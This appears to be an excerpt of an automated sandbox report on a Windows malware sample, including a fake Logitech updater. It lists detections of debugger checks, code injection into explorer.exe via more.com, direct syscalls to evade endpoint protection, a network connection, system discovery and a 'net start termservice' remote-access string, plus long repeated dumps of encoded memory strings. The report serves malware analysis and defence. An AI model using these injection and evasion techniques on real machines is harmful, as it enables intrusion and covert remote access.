Code function: 14_2_0078A195 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

14_2_0078A195

Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe	Code function: 0_2_0079A032 mov eax, dword ptr fs:[00000030h]	0_2_0079A032
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 14_2_007D8A00 mov eax, dword ptr fs:[00000030h]	14_2_007D8A00
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 14_2_0078DB50 mov eax, dword ptr fs:[00000030h]	14_2_0078DB50
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 14_2_00795D42 mov eax, dword ptr fs:[00000030h]	14_2_00795D42

Source: C:\Windows\SysWOW64\explorer.exe	Code function: 14_2_0078A195 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_0078A195
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 14_2_0078E87C IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_0078E87C
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 14_2_007898A8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	14_2_007898A8

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\explorer.exe

Network Connect: 188.114.97.3 80

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 14_2_00767EB0 GetModuleFileNameA,CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,SetThreadContext,ResumeThread,VirtualFree,

14_2_00767EB0

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	NtProtectVirtualMemory: Direct from: 0x6E5D2C38	Jump to behavior
Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe	NtProtectVirtualMemory: Direct from: 0x6E5B2D04	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	NtSetInformationThread: Direct from: 0x79ACD3	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	NtQuerySystemInformation: Direct from: 0x517AFF	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	NtProtectVirtualMemory: Direct from: 0x6C86214E	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	NtSetTimerEx: Direct from: 0x76EF7B2E	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	NtQueryInformationToken: Direct from: 0x6C6980B4	Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\SysWOW64\more.com	Memory written: PID: 4348 base: B079C0 value: 55	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Memory written: PID: 4348 base: 9F0008 value: 00	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Memory written: PID: 3492 base: B079C0 value: 55	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Memory written: PID: 3492 base: 3129008 value: 00	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe	Section loaded: NULL target: C:\Windows\SysWOW64\more.com protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Section loaded: NULL target: C:\Windows\SysWOW64\more.com protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: NULL target: C:\Windows\SysWOW64\explorer.exe protection: read write	Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\SysWOW64\explorer.exe base: B079C0	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\SysWOW64\explorer.exe base: 9F0008	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\SysWOW64\explorer.exe base: B079C0	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\SysWOW64\explorer.exe base: 3129008	Jump to behavior

Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 14_2_0078A37F cpuid

14_2_0078A37F

Source: C:\Windows\SysWOW64\explorer.exe	Code function: GetLocaleInfoW,	14_2_007A222E
Source: C:\Windows\SysWOW64\explorer.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	14_2_007A2354
Source: C:\Windows\SysWOW64\explorer.exe	Code function: GetLocaleInfoW,	14_2_007A245A
Source: C:\Windows\SysWOW64\explorer.exe	Code function: GetLocaleInfoW,	14_2_0079842E
Source: C:\Windows\SysWOW64\explorer.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	14_2_007A2529
Source: C:\Windows\SysWOW64\explorer.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	14_2_007A1BC8
Source: C:\Windows\SysWOW64\explorer.exe	Code function: GetLocaleInfoW,	14_2_007A1DC3
Source: C:\Windows\SysWOW64\explorer.exe	Code function: EnumSystemLocalesW,	14_2_007A1E6A
Source: C:\Windows\SysWOW64\explorer.exe	Code function: EnumSystemLocalesW,	14_2_007A1EB5
Source: C:\Windows\SysWOW64\explorer.exe	Code function: EnumSystemLocalesW,	14_2_007A1F50
Source: C:\Windows\SysWOW64\explorer.exe	Code function: EnumSystemLocalesW,	14_2_00797F0C
Source: C:\Windows\SysWOW64\explorer.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	14_2_007A1FDB

Source: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\9c813d63 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\bca94d0c VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\be3cb5d2 VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Queries volume information: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 14_2_0076E8D0 GetUserNameA,CoInitialize,CoCreateInstance,CoUninitialize,CoUninitialize,CoUninitialize,GetLocalTime,CoUninitialize,

14_2_0076E8D0

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 14_2_0077F060 Sleep,RegOpenKeyExA,RegCloseKey,GetUserNameA,GetModuleFileNameA,

14_2_0077F060

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 14_2_0079E430 _free,_free,_free,GetTimeZoneInformation,_free,

14_2_0079E430

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 14_2_007691B0 Sleep,GetVersionExW,GetModuleHandleA,GetProcAddress,GetNativeSystemInfo,

14_2_007691B0

Source: C:\Users\user\AppData\Roaming\LogiOptionsPlus\logioptionsplus_updater.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Remote Access Functionality

Contains functionality to start a terminal service

Source: more.com, 00000001.00000002.2420220367.0000000005250000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: net start termservice
Source: more.com, 00000001.00000002.2420220367.0000000005250000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setb91ec37b19247dd92a901a8f950c08d9f5a43204a66445ad0e09c0db80eb910b776334a83469992ad7a23ca2f09ee0eb5da9daZVz4fehA1U0n9B4f5XPk1W2E9QGn2f8hc0Q=Mx8mcUllK0If7nQjC2jjPGS9Jhqq2x==ZVz4fehA1U0n9B4f5XPk1W2E9QGn2gLsZ0ZxMYZqOvgA1k9f7JAu3zH9B2izXAK6AkEmdy==ZVz4fehA1U0n9B4f5XPk1W2E9QGn2gPsZ0ZxMY380elm30IeIlbn3mPa5C2B9Bp=OQUAOo==VwQpdzQuKQRwfI==MQLwfI==0UG6PLViPkQdVD==S184fPRuBkMXVT==VYZKXx CKiM6PZoh4m7o22W5Vz3r1jUte1DgSVRz3kMn I2j4nLe222hShKwIZ8h0O==VYZKXx CKiM6PZoh4m7o22W5Vz3r1jUte1DgSVRz3kMn I2j4nLe222hPR7y1Dbw0VzgXPJm3gsM7JYq3Czv22upXRyBV1HlefN23y==VkLxZ0RoKu5EyDAGNHoQzC7oB3BlVYZKXx CKiM6PZoh4m7o22W5Vz3r1jUte1DgSVRz3kMn I2j4nLe222hShKwdlLy1yttCxz VFzz1VFi2VD=VYZKXx CKiM6PZoh4m7o22W5Vz3r1jUte1DgSVRz3kMn I2j4nLe222hPR7y1Dbw0VzgWUdm2En NpbqQGTn3w==KTLXTNFRKi0zOXADAQ==YCvAes==VCZXXs==SYLYbUG elC d0G c1C Zka ZVy dEC eUU 0EQ ZVO cFO c03 dhQ=Z1zp1u1l2Eo1U5An4C3 2GucZ1zp1u1l2En=Z0nteu1l2En=0Bu=0Ru=0Ry=0RC=UUvtd9==bFH4evkwBu==bFH4ezI7BwZ=0V8p0EnwZ0RodFCBcVDtfkbAM1v5cOR1QEC+QEG+MZrwfO q2lDoLwivJu==gy==KlLycPM QO==d08pdysACgWd8Jz=b0LCdeRtCxznVJAqS0L4VeB11VQeQ6ox5GTiIW2r q==VFzz1VFi2SIa JIaRTPFWTMhK00f Kgf4mS=RVPteeA=T0vDeyRz30kYEHAfPg==STDJXs==VEvy1yAhK0Mc 0Mn5Hi=SEZnfy5zyD5eUj==RTPLNxOAXy51OUoMVZQZ4mjP5Q==Rkb41yRnPUWdV0L=UkZCfy5vV0ZAcy5AR0ZxdUNwW0byTyRnPUWdV0L=NBuCOrM2Dh4XKT==dky=e0y=R0ZyfyRv4ASNa0EjFizi4Wu59Rqj2kTt0kZCdKXlOVIaKBEg33TjPGCDcNPvAP3rMQQxNKWuEOfHdU11PUWTHXUn43zk32i59QYwDfEkc1zxNONi4Ev0EJ8f3WSYymOmbAtkDvEkbUnpdeBuPRRbJeQOSU5v4EMn F4S6XzaEiymaBqu0TQfeEbzda5wO1Ie F4x5HHaOWXSAaPMEOexNKWuBQR=MQQRE9==Q1DnebWyMkfA1o==R0ZyfyRv4ASNa0EjFiz73Hyx9QCj3DotcgZ8NP 44wSf86MrCXTn2GSzWWYmOTT=VZbXXwRONCEU9qMj3nPs2225agYuJZYYYCDzdfNz20o6M5br4HTPPXGTWQQnMBQtcVr5fyRzJkwmVT==R0ZxezR1PVAHUZ4jZUzn1yRnP09i7pwq3W3k3HCDaXG33kg2fVeAOLEADBLVJCj3CV6=MVLycOJwPELmVZbXXwRONCEU9qMj3nPs2225agYuJZYYYCDzdfNz20o6RZ8n5GT LmipXQYeFXbMWDzTVxtXISIyP4z=VZbXXwRONCEo8qUw32vIPXNBKxueJZYwekbn1PJdGkws7ZQC2XLl2GC VzOrODYtWkbo1O5KHy==YBqAOvw=SELq0PRt4DEe KUn3mboBleXXRCx1EYYbUZySELq0PRt4DEe KUn3mboBliXXRCx1EYYbUZyVYZKXx CKiM6PZoh4m7o22W5Vz3r1jUte1CkVdNdG1Mr9pYs5FXa3nKu WT=VFzz1zRk4CWa8ZX=NhqBQI==NhqCO9==NhqBP9==NhqCPI==R1LCeeRv4CAU7ZAiYy==Phe dlLy1yttCxznV0kjM0ikJlHleUps1UolEFbkzC7e2SxnJgqqLax11USe86YYzDC6ziVlXAKuxx==KgOkTPdq4Az=JgqqLaxzPUV JAOqKs==VEZ71PFA1EMl8F8j6GS=MUL81OJ24Eco8qEt3Gj95SyDXQQx3DYxbU4y1OMhBSQi8JXezg==Je==d085fyNw40V H0PeCXO6CA==d1Gceo==dkvy1y5uT0L90e5i3kH PJI333TPNFyDXQmxNTT=NBqAOvw1CRb=NBqAOvw1Chz=NBqAOvw1ChD=NBqAOvw1C0P=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000
Source: more.com, 0000000C.00000002.2933117360.0000000000DA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: net start termservice
Source: more.com, 0000000C.00000002.2933117360.0000000000DA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setb91ec37b19247dd92a901a8f950c08d9f5a43204a66445ad0e09c0db80eb910b776334a83469992ad7a23ca2f09ee0eb5da9daZVz4fehA1U0n9B4f5XPk1W2E9QGn2f8hc0Q=Mx8mcUllK0If7nQjC2jjPGS9Jhqq2x==ZVz4fehA1U0n9B4f5XPk1W2E9QGn2gLsZ0ZxMYZqOvgA1k9f7JAu3zH9B2izXAK6AkEmdy==ZVz4fehA1U0n9B4f5XPk1W2E9QGn2gPsZ0ZxMY380elm30IeIlbn3mPa5C2B9Bp=OQUAOo==VwQpdzQuKQRwfI==MQLwfI==0UG6PLViPkQdVD==S184fPRuBkMXVT==VYZKXx CKiM6PZoh4m7o22W5Vz3r1jUte1DgSVRz3kMn I2j4nLe222hShKwIZ8h0O==VYZKXx CKiM6PZoh4m7o22W5Vz3r1jUte1DgSVRz3kMn I2j4nLe222hPR7y1Dbw0VzgXPJm3gsM7JYq3Czv22upXRyBV1HlefN23y==VkLxZ0RoKu5EyDAGNHoQzC7oB3BlVYZKXx CKiM6PZoh4m7o22W5Vz3r1jUte1DgSVRz3kMn I2j4nLe222hShKwdlLy1yttCxz VFzz1VFi2VD=VYZKXx CKiM6PZoh4m7o22W5Vz3r1jUte1DgSVRz3kMn I2j4nLe222hPR7y1Dbw0VzgWUdm2En NpbqQGTn3w==KTLXTNFRKi0zOXADAQ==YCvAes==VCZXXs==SYLYbUG elC d0G c1C Zka ZVy dEC eUU 0EQ ZVO cFO c03 dhQ=Z1zp1u1l2Eo1U5An4C3 2GucZ1zp1u1l2En=Z0nteu1l2En=0Bu=0Ru=0Ry=0RC=UUvtd9==bFH4evkwBu==bFH4ezI7BwZ=0V8p0EnwZ0RodFCBcVDtfkbAM1v5cOR1QEC+QEG+MZrwfO q2lDoLwivJu==gy==KlLycPM QO==d08pdysACgWd8Jz=b0LCdeRtCxznVJAqS0L4VeB11VQeQ6ox5GTiIW2r q==VFzz1VFi2SIa JIaRTPFWTMhK00f Kgf4mS=RVPteeA=T0vDeyRz30kYEHAfPg==STDJXs==VEvy1yAhK0Mc 0Mn5Hi=SEZnfy5zyD5eUj==RTPLNxOAXy51OUoMVZQZ4mjP5Q==Rkb41yRnPUWdV0L=UkZCfy5vV0ZAcy5AR0ZxdUNwW0byTyRnPUWdV0L=NBuCOrM2Dh4XKT==dky=e0y=R0ZyfyRv4ASNa0EjFizi4Wu59Rqj2kTt0kZCdKXlOVIaKBEg33TjPGCDcNPvAP3rMQQxNKWuEOfHdU11PUWTHXUn43zk32i59QYwDfEkc1zxNONi4Ev0EJ8f3WSYymOmbAtkDvEkbUnpdeBuPRRbJeQOSU5v4EMn F4S6XzaEiymaBqu0TQfeEbzda5wO1Ie F4x5HHaOWXSAaPMEOexNKWuBQR=MQQRE9==Q1DnebWyMkfA1o==R0ZyfyRv4ASNa0EjFiz73Hyx9QCj3DotcgZ8NP 44wSf86MrCXTn2GSzWWYmOTT=VZbXXwRONCEU9qMj3nPs2225agYuJZYYYCDzdfNz20o6M5br4HTPPXGTWQQnMBQtcVr5fyRzJkwmVT==R0ZxezR1PVAHUZ4jZUzn1yRnP09i7pwq3W3k3HCDaXG33kg2fVeAOLEADBLVJCj3CV6=MVLycOJwPELmVZbXXwRONCEU9qMj3nPs2225agYuJZYYYCDzdfNz20o6RZ8n5GT LmipXQYeFXbMWDzTVxtXISIyP4z=VZbXXwRONCEo8qUw32vIPXNBKxueJZYwekbn1PJdGkws7ZQC2XLl2GC VzOrODYtWkbo1O5KHy==YBqAOvw=SELq0PRt4DEe KUn3mboBleXXRCx1EYYbUZySELq0PRt4DEe KUn3mboBliXXRCx1EYYbUZyVYZKXx CKiM6PZoh4m7o22W5Vz3r1jUte1CkVdNdG1Mr9pYs5FXa3nKu WT=VFzz1zRk4CWa8ZX=NhqBQI==NhqCO9==NhqBP9==NhqCPI==R1LCeeRv4CAU7ZAiYy==Phe dlLy1yttCxznV0kjM0ikJlHleUps1UolEFbkzC7e2SxnJgqqLax11USe86YYzDC6ziVlXAKuxx==KgOkTPdq4Az=JgqqLaxzPUV JAOqKs==VEZ71PFA1EMl8F8j6GS=MUL81OJ24Eco8qEt3Gj95SyDXQQx3DYxbU4y1OMhBSQi8JXezg==Je==d085fyNw40V H0PeCXO6CA==d1Gceo==dkvy1y5uT0L90e5i3kH PJI333TPNFyDXQmxNTT=NBqAOvw1CRb=NBqAOvw1Chz=NBqAOvw1ChD=NBqAOvw1C0P=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000
Source: explorer.exe	String found in binary or memory: net start termservice
Source: explorer.exe, 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmp	String found in binary or memory: net start termservice
Source: explorer.exe, 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setb91ec37b19247dd92a901a8f950c08d9f5a43204a66445ad0e09c0db80eb910b776334a83469992ad7a23ca2f09ee0eb5da9daZVz4fehA1U0n9B4f5XPk1W2E9QGn2f8hc0Q=Mx8mcUllK0If7nQjC2jjPGS9Jhqq2x==ZVz4fehA1U0n9B4f5XPk1W2E9QGn2gLsZ0ZxMYZqOvgA1k9f7JAu3zH9B2izXAK6AkEmdy==ZVz4fehA1U0n9B4f5XPk1W2E9QGn2gPsZ0ZxMY380elm30IeIlbn3mPa5C2B9Bp=OQUAOo==VwQpdzQuKQRwfI==MQLwfI==0UG6PLViPkQdVD==S184fPRuBkMXVT==VYZKXx CKiM6PZoh4m7o22W5Vz3r1jUte1DgSVRz3kMn I2j4nLe222hShKwIZ8h0O==VYZKXx CKiM6PZoh4m7o22W5Vz3r1jUte1DgSVRz3kMn I2j4nLe222hPR7y1Dbw0VzgXPJm3gsM7JYq3Czv22upXRyBV1HlefN23y==VkLxZ0RoKu5EyDAGNHoQzC7oB3BlVYZKXx CKiM6PZoh4m7o22W5Vz3r1jUte1DgSVRz3kMn I2j4nLe222hShKwdlLy1yttCxz VFzz1VFi2VD=VYZKXx CKiM6PZoh4m7o22W5Vz3r1jUte1DgSVRz3kMn I2j4nLe222hPR7y1Dbw0VzgWUdm2En NpbqQGTn3w==KTLXTNFRKi0zOXADAQ==YCvAes==VCZXXs==SYLYbUG elC d0G c1C Zka ZVy dEC eUU 0EQ ZVO cFO c03 dhQ=Z1zp1u1l2Eo1U5An4C3 2GucZ1zp1u1l2En=Z0nteu1l2En=0Bu=0Ru=0Ry=0RC=UUvtd9==bFH4evkwBu==bFH4ezI7BwZ=0V8p0EnwZ0RodFCBcVDtfkbAM1v5cOR1QEC+QEG+MZrwfO q2lDoLwivJu==gy==KlLycPM QO==d08pdysACgWd8Jz=b0LCdeRtCxznVJAqS0L4VeB11VQeQ6ox5GTiIW2r q==VFzz1VFi2SIa JIaRTPFWTMhK00f Kgf4mS=RVPteeA=T0vDeyRz30kYEHAfPg==STDJXs==VEvy1yAhK0Mc 0Mn5Hi=SEZnfy5zyD5eUj==RTPLNxOAXy51OUoMVZQZ4mjP5Q==Rkb41yRnPUWdV0L=UkZCfy5vV0ZAcy5AR0ZxdUNwW0byTyRnPUWdV0L=NBuCOrM2Dh4XKT==dky=e0y=R0ZyfyRv4ASNa0EjFizi4Wu59Rqj2kTt0kZCdKXlOVIaKBEg33TjPGCDcNPvAP3rMQQxNKWuEOfHdU11PUWTHXUn43zk32i59QYwDfEkc1zxNONi4Ev0EJ8f3WSYymOmbAtkDvEkbUnpdeBuPRRbJeQOSU5v4EMn F4S6XzaEiymaBqu0TQfeEbzda5wO1Ie F4x5HHaOWXSAaPMEOexNKWuBQR=MQQRE9==Q1DnebWyMkfA1o==R0ZyfyRv4ASNa0EjFiz73Hyx9QCj3DotcgZ8NP 44wSf86MrCXTn2GSzWWYmOTT=VZbXXwRONCEU9qMj3nPs2225agYuJZYYYCDzdfNz20o6M5br4HTPPXGTWQQnMBQtcVr5fyRzJkwmVT==R0ZxezR1PVAHUZ4jZUzn1yRnP09i7pwq3W3k3HCDaXG33kg2fVeAOLEADBLVJCj3CV6=MVLycOJwPELmVZbXXwRONCEU9qMj3nPs2225agYuJZYYYCDzdfNz20o6RZ8n5GT LmipXQYeFXbMWDzTVxtXISIyP4z=VZbXXwRONCEo8qUw32vIPXNBKxueJZYwekbn1PJdGkws7ZQC2XLl2GC VzOrODYtWkbo1O5KHy==YBqAOvw=SELq0PRt4DEe KUn3mboBleXXRCx1EYYbUZySELq0PRt4DEe KUn3mboBliXXRCx1EYYbUZyVYZKXx CKiM6PZoh4m7o22W5Vz3r1jUte1CkVdNdG1Mr9pYs5FXa3nKu WT=VFzz1zRk4CWa8ZX=NhqBQI==NhqCO9==NhqBP9==NhqCPI==R1LCeeRv4CAU7ZAiYy==Phe dlLy1yttCxznV0kjM0ikJlHleUps1UolEFbkzC7e2SxnJgqqLax11USe86YYzDC6ziVlXAKuxx==KgOkTPdq4Az=JgqqLaxzPUV JAOqKs==VEZ71PFA1EMl8F8j6GS=MUL81OJ24Eco8qEt3Gj95SyDXQQx3DYxbU4y1OMhBSQi8JXezg==Je==d085fyNw40V H0PeCXO6CA==d1Gceo==dkvy1y5uT0L90e5i3kH PJI333TPNFyDXQmxNTT=NBqAOvw1CRb=NBqAOvw1Chz=NBqAOvw1ChD=NBqAOvw1C0P=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000
Source: explorer.exe, 00000010.00000002.2933737758.00000000001D0000.00000002.00000001.01000000.00000000.sdmp	String found in binary or memory: net start termservice
Source: explorer.exe, 00000010.00000002.2933737758.00000000001D0000.00000002.00000001.01000000.00000000.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit setb91ec37b19247dd92a901a8f950c08d9f5a43204a66445ad0e09c0db80eb910b776334a83469992ad7a23ca2f09ee0eb5da9daZVz4fehA1U0n9B4f5XPk1W2E9QGn2f8hc0Q=Mx8mcUllK0If7nQjC2jjPGS9Jhqq2x==ZVz4fehA1U0n9B4f5XPk1W2E9QGn2gLsZ0ZxMYZqOvgA1k9f7JAu3zH9B2izXAK6AkEmdy==ZVz4fehA1U0n9B4f5XPk1W2E9QGn2gPsZ0ZxMY380elm30IeIlbn3mPa5C2B9Bp=OQUAOo==VwQpdzQuKQRwfI==MQLwfI==0UG6PLViPkQdVD==S184fPRuBkMXVT==VYZKXx CKiM6PZoh4m7o22W5Vz3r1jUte1DgSVRz3kMn I2j4nLe222hShKwIZ8h0O==VYZKXx CKiM6PZoh4m7o22W5Vz3r1jUte1DgSVRz3kMn I2j4nLe222hPR7y1Dbw0VzgXPJm3gsM7JYq3Czv22upXRyBV1HlefN23y==VkLxZ0RoKu5EyDAGNHoQzC7oB3BlVYZKXx CKiM6PZoh4m7o22W5Vz3r1jUte1DgSVRz3kMn I2j4nLe222hShKwdlLy1yttCxz VFzz1VFi2VD=VYZKXx CKiM6PZoh4m7o22W5Vz3r1jUte1DgSVRz3kMn I2j4nLe222hPR7y1Dbw0VzgWUdm2En NpbqQGTn3w==KTLXTNFRKi0zOXADAQ==YCvAes==VCZXXs==SYLYbUG elC d0G c1C Zka ZVy dEC eUU 0EQ ZVO cFO c03 dhQ=Z1zp1u1l2Eo1U5An4C3 2GucZ1zp1u1l2En=Z0nteu1l2En=0Bu=0Ru=0Ry=0RC=UUvtd9==bFH4evkwBu==bFH4ezI7BwZ=0V8p0EnwZ0RodFCBcVDtfkbAM1v5cOR1QEC+QEG+MZrwfO q2lDoLwivJu==gy==KlLycPM QO==d08pdysACgWd8Jz=b0LCdeRtCxznVJAqS0L4VeB11VQeQ6ox5GTiIW2r q==VFzz1VFi2SIa JIaRTPFWTMhK00f Kgf4mS=RVPteeA=T0vDeyRz30kYEHAfPg==STDJXs==VEvy1yAhK0Mc 0Mn5Hi=SEZnfy5zyD5eUj==RTPLNxOAXy51OUoMVZQZ4mjP5Q==Rkb41yRnPUWdV0L=UkZCfy5vV0ZAcy5AR0ZxdUNwW0byTyRnPUWdV0L=NBuCOrM2Dh4XKT==dky=e0y=R0ZyfyRv4ASNa0EjFizi4Wu59Rqj2kTt0kZCdKXlOVIaKBEg33TjPGCDcNPvAP3rMQQxNKWuEOfHdU11PUWTHXUn43zk32i59QYwDfEkc1zxNONi4Ev0EJ8f3WSYymOmbAtkDvEkbUnpdeBuPRRbJeQOSU5v4EMn F4S6XzaEiymaBqu0TQfeEbzda5wO1Ie F4x5HHaOWXSAaPMEOexNKWuBQR=MQQRE9==Q1DnebWyMkfA1o==R0ZyfyRv4ASNa0EjFiz73Hyx9QCj3DotcgZ8NP 44wSf86MrCXTn2GSzWWYmOTT=VZbXXwRONCEU9qMj3nPs2225agYuJZYYYCDzdfNz20o6M5br4HTPPXGTWQQnMBQtcVr5fyRzJkwmVT==R0ZxezR1PVAHUZ4jZUzn1yRnP09i7pwq3W3k3HCDaXG33kg2fVeAOLEADBLVJCj3CV6=MVLycOJwPELmVZbXXwRONCEU9qMj3nPs2225agYuJZYYYCDzdfNz20o6RZ8n5GT LmipXQYeFXbMWDzTVxtXISIyP4z=VZbXXwRONCEo8qUw32vIPXNBKxueJZYwekbn1PJdGkws7ZQC2XLl2GC VzOrODYtWkbo1O5KHy==YBqAOvw=SELq0PRt4DEe KUn3mboBleXXRCx1EYYbUZySELq0PRt4DEe KUn3mboBliXXRCx1EYYbUZyVYZKXx CKiM6PZoh4m7o22W5Vz3r1jUte1CkVdNdG1Mr9pYs5FXa3nKu WT=VFzz1zRk4CWa8ZX=NhqBQI==NhqCO9==NhqBP9==NhqCPI==R1LCeeRv4CAU7ZAiYy==Phe dlLy1yttCxznV0kjM0ikJlHleUps1UolEFbkzC7e2SxnJgqqLax11USe86YYzDC6ziVlXAKuxx==KgOkTPdq4Az=JgqqLaxzPUV JAOqKs==VEZ71PFA1EMl8F8j6GS=MUL81OJ24Eco8qEt3Gj95SyDXQQx3DYxbU4y1OMhBSQi8JXezg==Je==d085fyNw40V H0PeCXO6CA==d1Gceo==dkvy1y5uT0L90e5i3kH PJI333TPNFyDXQmxNTT=NBqAOvw1CRb=NBqAOvw1Chz=NBqAOvw1ChD=NBqAOvw1C0P=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000
Source: cnfpnteryde.1.dr	String found in binary or memory: net start termservice
